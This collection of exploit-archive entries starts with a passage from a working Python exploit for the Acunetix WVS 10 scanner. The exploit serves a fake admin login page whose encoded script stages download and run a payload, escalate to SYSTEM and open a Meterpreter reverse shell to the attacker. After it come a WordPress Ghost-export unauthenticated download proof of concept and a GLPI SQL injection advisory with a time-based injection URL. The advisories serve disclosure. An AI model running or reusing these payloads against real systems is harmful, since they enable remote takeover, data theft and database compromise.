                      "3322e646c6c00000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" \
                      "17aa9f565fccd8ce423701840cda9828320ce06749de816ae27196bce0849d1b494f89ffd49"

# param CMD => PAYLOAD_DOWNLOAD_EXEC
EXPLOIT_STAGE_1 = "PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQ+d2luZG93LmFsZXJ0ID0genl4O3dpbmRvdy5wcm9tcHQgPSB6eXg7d" \
                  "2luZG93LmNvbmZpcm0gPSB6eXg7d2luZG93LmNhbGxlZCA9IDA7ZnVuY3Rpb24genl4KCl7d2luZG93LmNhbGxlZCA9IDE7dm" \
                  "FyIHh5ej0iJXMiO2V2YWwoZnVuY3Rpb24ocCxhLGMsayxlLGQpe2U9ZnVuY3Rpb24oYyl7cmV0dXJuIGMudG9TdHJpbmcoMzY" \
                  "pfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKXtkW2MudG9TdHJpbmcoYSldPWtbY118fGMudG9TdHJp" \
                  "bmcoYSl9az1bZnVuY3Rpb24oZSl7cmV0dXJuIGRbZV19XTtlPWZ1bmN0aW9uKCl7cmV0dXJuJ1xcdysnfTtjPTF9O3doaWxlK" \
                  "GMtLSl7aWYoa1tjXSl7cD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSl9fXJldHVybi" \
                  "BwfSgnNSAwPTYgNCgiMy4xIik7MC4yKFwnNyAvOCBkIC9lICIiICJjIiAtYiA5IC1hICJmIlwnKTsnLDE2LDE2LCdceDczXHg" \
                  "2OFx4NjVceDZjXHg2Y3xceDUzXHg2OFx4NjVceDZjXHg2Y3xceDcyXHg3NVx4NmV8XHg1N1x4NTNceDYzXHg3Mlx4NjlceDcw" \
                  "XHg3NHxceDQxXHg2M1x4NzRceDY5XHg3Nlx4NjVceDU4XHg0Zlx4NjJceDZhXHg2NVx4NjNceDc0fHZhcnxuZXd8XHg2M1x4N" \
                  "mRceDY0fEN8Tm9ybWFsfFx4NjVceDZlXHg2M1x4NmZceDY0XHg2NVx4NjRceDYzXHg2Zlx4NmRceDZkXHg2MVx4NmVceDY0fH" \
                  "dpbmRvd1x4NzNceDc0XHg3OVx4NmNceDY1fFx4NzBceDZmXHg3N1x4NjVceDcyXHg3M1x4NjhceDY1XHg2Y1x4NmN8XHg3M1x" \
                  "4NzRceDQxXHg1Mlx4NzR8QnwkJCcucmVwbGFjZSgiJCQiLHh5eikuc3BsaXQoJ3wnKSwwLHt9KSk7ZG9jdW1lbnQuYm9keS5p" \
                  "bm5lckhUTUw9JzQwNCBOb3QgZm91bmQnO308L3NjcmlwdD4lczxzY3JpcHQ+aWYgKHdpbmRvdy5jYWxsZWQgPT0gMCl7enl4K" \
                  "Ck7fTwvc2NyaXB0PjwvYm9keT48L2h0bWw+"


LOGIN_FORM = "PHN0eWxlPg0KYm9keXsNCiAgbWFyZ2luOiAwcHg7DQogIHBhZGRpbmc6IDBweDsNCiAgYmFja2dyb3VuZDogIzFhYmM5ZDsNCn0NCg" \
             "0KaDF7DQogIGNvbG9yOiAjZmZmOw0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogIGZvbnQtZmFtaWx5OiBBcmlhbDsNCiAgZm9udC13Z" \
             "WlnaHQ6IG5vcm1hbDsNCiAgbWFyZ2luOiAyZW0gYXV0byAwcHg7DQp9DQoub3V0ZXItc2NyZWVuew0KICBiYWNrZ3JvdW5kOiAjMTMy" \
             "MDJjOw0KICB3aWR0aDogOTAwcHg7DQogIGhlaWdodDogNTQwcHg7DQogIG1hcmdpbjogNTBweCBhdXRvOw0KICBib3JkZXItcmFkaXV" \
             "zOiAyMHB4Ow0KICAtbW96LWJvcmRlci1yYWRpdXM6IDIwcHg7DQogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogMjBweDsNCiAgcG9zaXR" \
             "pb246IHJlbGF0aXZlOw0KICBwYWRkaW5nLXRvcDogMzVweDsNCn0NCg0KLm91dGVyLXNjcmVlbjpiZWZvcmV7DQogIGNvbnRlbnQ6IC" \
             "IiOw0KICBiYWNrZ3JvdW5kOiAjM2U0YTUzOw0KICBib3JkZXItcmFkaXVzOiA1MHB4Ow0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogI" \
             "GJvdHRvbTogMjBweDsNCiAgbGVmdDogMHB4Ow0KICByaWdodDogMHB4Ow0KICBtYXJnaW46IGF1dG87DQogIHotaW5kZXg6IDk5OTk" \
             "7DQogIHdpZHRoOiA1MHB4Ow0KICBoZWlnaHQ6IDUwcHg7DQp9DQoub3V0ZXItc2NyZWVuOmFmdGVyew0KICBjb250ZW50OiAiIjsNCi" \
             "AgYmFja2dyb3VuZDogI2VjZjBmMTsNCiAgd2lkdGg6IDkwMHB4Ow0KICBoZWlnaHQ6IDg4cHg7DQogIHBvc2l0aW9uOiBhYnNvbHV0Z" \
             "TsNCiAgYm90dG9tOiAwcHg7DQogIGJvcmRlci1yYWRpdXM6IDBweCAwcHggMjBweCAyMHB4Ow0KICAtbW96LWJvcmRlci1yYWRpdXM6" \
             "IDBweCAwcHggMjBweCAyMHB4Ow0KICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDBweCAwcHggMjBweCAyMHB4Ow0KfQ0KDQouc3RhbmR" \
             "7DQogIHBvc2l0aW9uOiByZWxhdGl2ZTsgIA0KfQ0KDQouc3RhbmQ6YmVmb3Jlew0KICBjb250ZW50OiAiIjsNCiAgcG9zaXRpb246IG" \
             "Fic29sdXRlOw0KICBib3R0b206IC0xNTBweDsNCiAgYm9yZGVyLWJvdHRvbTogMTUwcHggc29saWQgI2JkYzNjNzsNCiAgYm9yZGVyL" \
             "WxlZnQ6IDMwcHggc29saWQgdHJhbnNwYXJlbnQ7DQogIGJvcmRlci1yaWdodDogMzBweCBzb2xpZCB0cmFuc3BhcmVudDsNCiAgd2lkd" \
             "Gg6IDIwMHB4Ow0KICBsZWZ0OiAwcHg7DQogIHJpZ2h0OiAwcHg7DQogIG1hcmdpbjogYXV0bzsNCn0NCg0KLnN0YW5kOmFmdGVyew0K" \
             "ICBjb250ZW50OiAiIjsNCiAgcG9zaXRpb246IGFic29sdXRlOw0KICB3aWR0aDogMjYwcHg7DQogIGxlZnQ6IDBweDsNCiAgcmlnaHQ6" \
             "IDBweDsNCiAgbWFyZ2luOiBhdXRvOw0KICBib3JkZXItYm90dG9tOiAzMHB4IHNvbGlkICNiZGMzYzc7DQogIGJvcmRlci1sZWZ0OiA" \
             "zMHB4IHNvbGlkIHRyYW5zcGFyZW50Ow0KICBib3JkZXItcmlnaHQ6IDMwcHggc29saWQgdHJhbnNwYXJlbnQ7DQogIGJvdHRvbTogLT" \
             "E4MHB4Ow0KICBib3gtc2hhZG93OiAwcHggNHB4IDBweCAjN2U3ZTdlDQp9DQoNCi5pbm5lci1zY3JlZW57DQogIHdpZHRoOiA4MDBwe" \
             "DsNCiAgaGVpZ2h0OiAzNDBweDsNCiAgYmFja2dyb3VuZDogIzFhYmM5ZDsNCiAgbWFyZ2luOiAwcHggYXV0bzsNCiAgcGFkZGluZy10" \
             "b3A6IDgwcHg7DQp9DQoNCi5mb3Jtew0KICB3aWR0aDogNDAwcHg7DQogIGhlaWdodDogMjMwcHg7DQogIGJhY2tncm91bmQ6ICNlZGV" \
             "mZjE7DQogIG1hcmdpbjogMHB4IGF1dG87DQogIHBhZGRpbmctdG9wOiAyMHB4Ow0KICBib3JkZXItcmFkaXVzOiAxMHB4Ow0KICAtbW" \
             "96LWJvcmRlci1yYWRpdXM6IDEwcHg7DQogIC13ZWJraXQtYm9yZGVyLXJhZGl1czogMTBweDsNCn0NCg0KaW5wdXRbdHlwZT0idGV4d" \
             "CJdew0KICBkaXNwbGF5OiBibG9jazsNCiAgd2lkdGg6IDMwOXB4Ow0KICBoZWlnaHQ6IDM1cHg7DQogIG1hcmdpbjogMTVweCBhdXRv" \
             "Ow0KICBiYWNrZ3JvdW5kOiAjZmZmOw0KICBib3JkZXI6IDBweDsNCiAgcGFkZGluZzogNXB4Ow0KICBmb250LXNpemU6IDE2cHg7DQo" \
             "gICBib3JkZXI6IDJweCBzb2xpZCAjZmZmOw0KICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlOw0KICBib3JkZXItcmFkaXVzOiA1cH" \
             "g7DQogIC1tb3otYm9yZGVyLXJhZGl1czogNXB4Ow0KICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDVweDsNCn0NCg0KaW5wdXRbdHlwZ" \
             "T0idGV4dCJdOmZvY3Vzew0KICBib3JkZXI6IDJweCBzb2xpZCAjMWFiYzlkDQp9DQoNCmlucHV0W3R5cGU9InN1Ym1pdCJdew0KICBk" \
             "aXNwbGF5OiBibG9jazsNCiAgYmFja2dyb3VuZDogIzFhYmM5ZDsNCiAgd2lkdGg6IDMxNHB4Ow0KICBwYWRkaW5nOiAxMnB4Ow0KICB" \
             "jdXJzb3I6IHBvaW50ZXI7DQogIGNvbG9yOiAjZmZmOw0KICBib3JkZXI6IDBweDsNCiAgbWFyZ2luOiBhdXRvOw0KICBib3JkZXItcm" \
             "FkaXVzOiA1cHg7DQogIC1tb3otYm9yZGVyLXJhZGl1czogNXB4Ow0KICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDVweDsNCiAgZm9u" \
             "dC1zaXplOiAxN3B4Ow0KICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlOw0KfQ0KDQppbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlcnsN" \
             "CiAgYmFja2dyb3VuZDogIzA5Y2NhNg0KfQ0KDQphew0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogIGZvbnQtZmFtaWx5OiBBcmlhbDs" \
             "NCiAgY29sb3I6IGdyYXk7DQogIGRpc3BsYXk6IGJsb2NrOw0KICBtYXJnaW46IDE1cHggYXV0bzsNCiAgdGV4dC1kZWNvcmF0aW9uOi" \
             "Bub25lOw0KICB0cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlOw0KICBmb250LXNpemU6IDEycHg7DQp9DQoNCmE6aG92ZXJ7DQogIGNvb" \
             "G9yOiAjMWFiYzlkOw0KfQ0KDQoNCjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7DQogICBjb2xvcjogZ3JheTsNCn0NCg0KOi1" \
             "tb3otcGxhY2Vob2xkZXIgeyAvKiBGaXJlZm94IDE4LSAqLw0KICAgY29sb3I6IGdyYXk7ICANCn0NCg0KOjotbW96LXBsYWNlaG9sZG" \
             "VyIHsgIC8qIEZpcmVmb3ggMTkrICovDQogICBjb2xvcjogZ3JheTsgIA0KfQ0KDQo6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHsgIA0KI" \
             "CAgY29sb3I6IGdyYXk7ICANCn0NCjwvc3R5bGU+DQo8aDE+QWRtaW4gcGFuZWw8L2gxPg0KPGRpdiBjbGFzcz0ic3RhbmQiPg0KICA8" \
             "ZGl2IGNsYXNzPSJvdXRlci1zY3JlZW4iPg0KICAgIDxkaXYgY2xhc3M9ImlubmVyLXNjcmVlbiI+DQogICAgICA8ZGl2IGNsYXNzPSJ" \
             "mb3JtIj4NCiAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIvbG9naW4iPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dC" \
             "IgbmFtZT0idXNyIiBwbGFjZWhvbGRlcj0iVXNlcm5hbWUiIC8+DQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwd2QiI" \
             "HBsYWNlaG9sZGVyPSJQYXNzd29yZCIgLz4NCiAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiIgLz4NCiAg" \
             "ICAgICAgIDwvZm9ybT4NCiAgICAgICAgPGEgaHJlZj0iL2ZvcmdvdCI+TG9zdCB5b3VyIHBhc3N3b3JkPzwvYT4NCiAgICAgIDwvZGl" \
             "2PiANCiAgICA8L2Rpdj4gDQogIDwvZGl2PiANCjwvZGl2Pg=="

# param NO
EXPLOIT_STAGE_2 = "U2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KRnVuY3Rpb24gRXNjYWxhdGVBbm" \
                  "RFeGVjdXRlKCkNCiAgYmluZCA9ICJTZXQgb2JqID0gQ3JlYXRlT2JqZWN0KCIiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3Q" \
                  "iIikiICYgdmJjcmxmICZfDQogICJvYmouRGVsZXRlRmlsZSgiIkM6XFByb2dyYW1EYXRhXEFjdW5ldGl4IFdWUyAxMFxEYXRhX" \
                  "FNjcmlwdHNcUGVyU2VydmVyXEFKUF9BdWRpdC5zY3JpcHQiIikiICYgdmJjcmxmICZfDQogICAib2JqLk1vdmVGaWxlICIiQzp" \
                  "cUHJvZ3JhbURhdGFcQWN1bmV0aXggV1ZTIDEwXERhdGFcU2NyaXB0c1xQZXJTZXJ2ZXJcQUpQX0F1ZGl0LnNjcmlwdC5iYWsiI" \
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class myHandler(BaseHTTPRequestHandler):
    timeout = 5
    server_version = "Apache"
    sys_version = "1.2"

    def log_message(self, format, *args):
        try:
            paths = str(list(args)[0])
            if "prompt" in paths or "confirm" in paths or "alert" in paths:
                print "[*] Triggering EXPLOIT_STAGE_1 + PAYLOAD_DOWNLOAD_EXEC sending (%s) bytes !" % \
                      (len(PAYLOAD_DOWNLOAD_EXEC) + len(EXPLOIT_STAGE_1))
            if "stage2" in paths:
                print "[*] Triggering EXPLOIT_STAGE_2 sending (%s) bytes !" % len(EXPLOIT_STAGE_2)
            return
        except:
            pass
            return

    def do_POST(self):
        PDE = base64.b64decode(PAYLOAD_DOWNLOAD_EXEC) % (sys.argv[2] + ":" + sys.argv[1],
                                                                 "%TEMP%", gen_random_name(12))
        data = self.rfile.read(int(self.headers.getheader("Content-Length")))
        data = data.split("&")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        for param in data:
            if "usr" in param:
                param = param.split("=")[1]
                self.wfile.write(base64.b64decode(EXPLOIT_STAGE_1)
                                 % (base64.b64encode("".join(x + "\x00" for x in PDE)),
                                    ("Bad password for user %s , <a href=\"/\">try again</a>." % param)))
                return
        self.wfile.write(base64.b64decode(EXPLOIT_STAGE_1)
                                 % (base64.b64encode("".join(x + "\x00" for x in PDE)),
                                    "Some data are missing , <a href=\"/\">try again</a>."))
        return

    def do_GET(self):
        try:
            if self.path == "/":
                self.send_response(302)
                self.send_header('Content-type', 'text/html')
                self.send_header('Location', "login")
                self.end_headers()
                # Send the html message
                self.wfile.write("<a href='/?url=test'>Here</a>")
                return
            elif self.path == "/stage2":
                self.send_response(200)
                self.send_header('Content-type', 'text/plain')
                self.end_headers()
                # Send the html message
                self.wfile.write(base64.b64decode(EXPLOIT_STAGE_2)
                                 % (PAYLOAD_METERPETRER % ip2b(sys.argv[2]), "%TEMP%"))
                postexpthread = Thread(target=postexploitation, args=(self.client_address[0], ))
                postexpthread.start()
                return
            else:
                string = ""
                try:
                    string = self.path.split("=")[1]
                except:
                    pass
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                # Send the html message
                PDE = base64.b64decode(PAYLOAD_DOWNLOAD_EXEC) % (sys.argv[2] + ":" + sys.argv[1],
                                                                 "%TEMP%", gen_random_name(12))
                self.wfile.write(base64.b64decode(EXPLOIT_STAGE_1)
                                 % (base64.b64encode("".join(x + "\x00" for x in PDE)), base64.b64decode(LOGIN_FORM)))
                return
        except Exception as e:
            print e.message
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            self.wfile.write("")
            return

if __name__ == "__main__":
    print "\n\nAcunetix WVS 10 - SYSTEM Remote Command Execution (Daniele Linguaglossa)\n" \
          "Payload: Meterpreter reverse TCP 4444"
    try:
        if len(sys.argv) > 2:
            # Create a web server and define the handler to manage the
            # incoming request
            server = HTTPServer(('0.0.0.0', int(sys.argv[1])), myHandler)
            print 'Exploit started on port *:%s' % sys.argv[1]
            print '[+] Waiting for scanner...'

            # Wait forever for incoming http requests
            server.serve_forever()
        else:
            print "Usage: %s <port> <local ip/domain name>" % os.path.basename(sys.argv[0])

    except KeyboardInterrupt:
        print '^C received, shutting down the web server'
        server.socket.close()
            
# Exploit Title: WordPress Export to Ghost Unrestricted Export Download
# Date: 28-04-2016
# Software Link: https://wordpress.org/plugins/ghost
# Exploit Author: Josh Brody
# Contact: http://twitter.com/joshmn
# Website: http://josh.mn/
# Category: webapps
 
1. Description
   
Any visitor can download the Ghost Export file because of a failure to check if an admin user is properly authenticated. Assume all versions < 0.5.6 are vulnerable.
   
2. Proof of Concept

http://example.com/wp-admin/tools.php?ghostexport=true&submit=Download+Ghost+file

File will be downloaded.
   
3. Solution:

Update to version 0.5.6

https://downloads.wordpress.org/plugin/ghost.0.5.6.zip
            
Advisory ID: HTB23301
Product: GLPI
Vendor: INDEPNET 
Vulnerable Version(s): 0.90.2 and probably prior
Tested Version: 0.90.2
Advisory Publication: April 8, 2016 [without technical details]
Vendor Notification: April 8, 2016 
Vendor Patch: April 11, 2016 
Public Disclosure: April 29, 2016 
Vulnerability Type: SQL Injection [CWE-89]
Risk Level: High 
CVSSv3 Base Score: 7.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

------------------------------------------------------------------------
-----------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered a high-risk SQL injection vulnerability in a popular Information Resource Manager (IRM) system GLPI. IRM systems are usually used for management and audit of software packages, providing ITIL-compliant service desk. The vulnerability allows remote non-authenticated attacker to execute arbitrary SQL queries, read and write data to the application's database and completely compromise the vulnerable system.

The vulnerability exists due to insufficient filtration of user-supplied data passed via the "page_limit" HTTP GET parameter to "/ajax/getDropdownConnect.php" PHP script. A remote unauthenticated attacker can alter present SQL query, inject and execute arbitrary SQL command in application's database.

Below is a simple SQL Injection exploit, which uses time-based exploitation technique. The page will load time will be significantly higher if MySQL version is 5.X or superior:

http://[host]/ajax/getDropdownConnect.php?fromtype=Computer&itemtype=Com
puter&page=1&page_limit=1%20PROCEDURE%20analyse%28%28select%20extractval
ue%28rand%28%29,concat%280x3a,%28IF%28MID%28version%28%29,1,1%29%20LIKE%
205,%20BENCHMARK%285000000,SHA1%281%29%29,1%29%29%29%29%29,1%29

------------------------------------------------------------------------
-----------------------

Solution:

Update to GLPI 0.90.3

More Information:
http://www.glpi-project.org/spip.php?page=annonce&id_breve=358&lang=en
https://github.com/glpi-project/glpi/issues/581

------------------------------------------------------------------------
-----------------------

References:

[1] High-Tech Bridge Advisory HTB23301 - https://www.htbridge.com/advisory/HTB23301 - SQL Injection in GLPI.
[2] GLPI - http://www.glpi-project.org - GLPI is the Information Resource Manager with an additional Administration Interface.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by High-Tech Bridge for on-demand and continuous web application security, vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL implementation for PCI DSS and NIST compliance. Supports all types of protocols.

------------------------------------------------------------------------
-----------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.